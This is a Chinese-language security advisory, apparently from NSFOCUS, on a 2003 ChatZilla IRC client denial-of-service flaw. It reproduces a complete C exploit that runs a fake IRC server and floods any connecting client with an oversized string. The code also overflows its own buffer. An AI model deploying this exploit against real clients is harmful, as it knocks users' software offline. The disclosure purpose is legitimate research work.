安全研究
安全漏洞
ChatZilla远程拒绝服务攻击漏洞
发布日期:2003-09-15
更新日期:2003-09-19
受影响系统:
Mozilla ChatZilla 0.8.23描述:
BUGTRAQ ID: 8627
ChatZilla是一款基于Linux的IRC客户端。
ChatZilla对超长字符串请求缺少正确处理,远程攻击者可以利用这个漏洞对客户端进行拒绝服务攻击。
攻击者伪造IRC服务器,发送包含超过60kb大小的字符串给ChatZilla处理,可导致客户端停止响应,需要重新获得正常服务。
<*来源:D4rkGr3y (grey_1999@mail.ru)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=106366186822294&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*
* ChatZilla <=v0.8.23 remote DoS exploit
*
* by m00 Security // www.m00security.org
*
* This sploit creats a fake irc-server on any port. Every connected
* ChatZilla-client will have cpu-usage 100%.
*
* Complete advisory:
* www.m00security.org/adv/adv003.txt
*
* -d4rkgr3y [d4rk@securitylab.ru]
*/
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<unistd.h>
#include<signal.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define COUNT 60000
#define request "NOTICE AUTH :*** Welcome to fake m00 IRCd\n"
int main(int argc, char **argv)
{
struct sockaddr_in db;
int sock, i, len, lame;
const c = COUNT;
char buf[60000] = ":Serv 000 user666 :Welcome to the underworld";
printf("\nChatZilla <=v0.8.23 remote DoS exploit //
www.m00security.org\n\n");
if (argc!=2){
printf("[-] error in params. Usage\n %s port\n",argv[0]);
exit(1);
} else {
printf("[~] Generating evil buf....");
}
/* constructing evil buf */
for (i=0;i<c;i++)
{
strcat(buf,"A");
}
strcat(buf,"\n");
printf(" OK\n");
/* creating fake irc-server */
db.sin_family = AF_INET;
db.sin_addr.s_addr = INADDR_ANY;
db.sin_port = htons(atoi(argv[1]));
sock = socket(PF_INET, SOCK_STREAM, 0);
if(bind(sock, (struct sockaddr*)&db, sizeof(db)) == -1) {
perror("[-] bind()");
_exit(0);
}
/* OK */
printf("[+] fake ircd created on port %s\n",argv[1]);
/* waiting for connect */
listen(sock, SOMAXCONN);
while(1) {
printf("[+] User connected. Attacking....");
len = sizeof(db);
lame = accept(sock, (struct sockaddr*)&db, &len);
/* go go go */
write(lame,request,strlen(request));
write(lame,buf,strlen(buf));
printf(" OK\n");
close(lame);
close(sock);
return(0);
}
}
建议:
厂商补丁:
Mozilla
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.mozilla.org/projects/rt-messaging/chatzilla/
浏览次数:2787
严重程度:0(网友投票)
绿盟科技给您安全的保障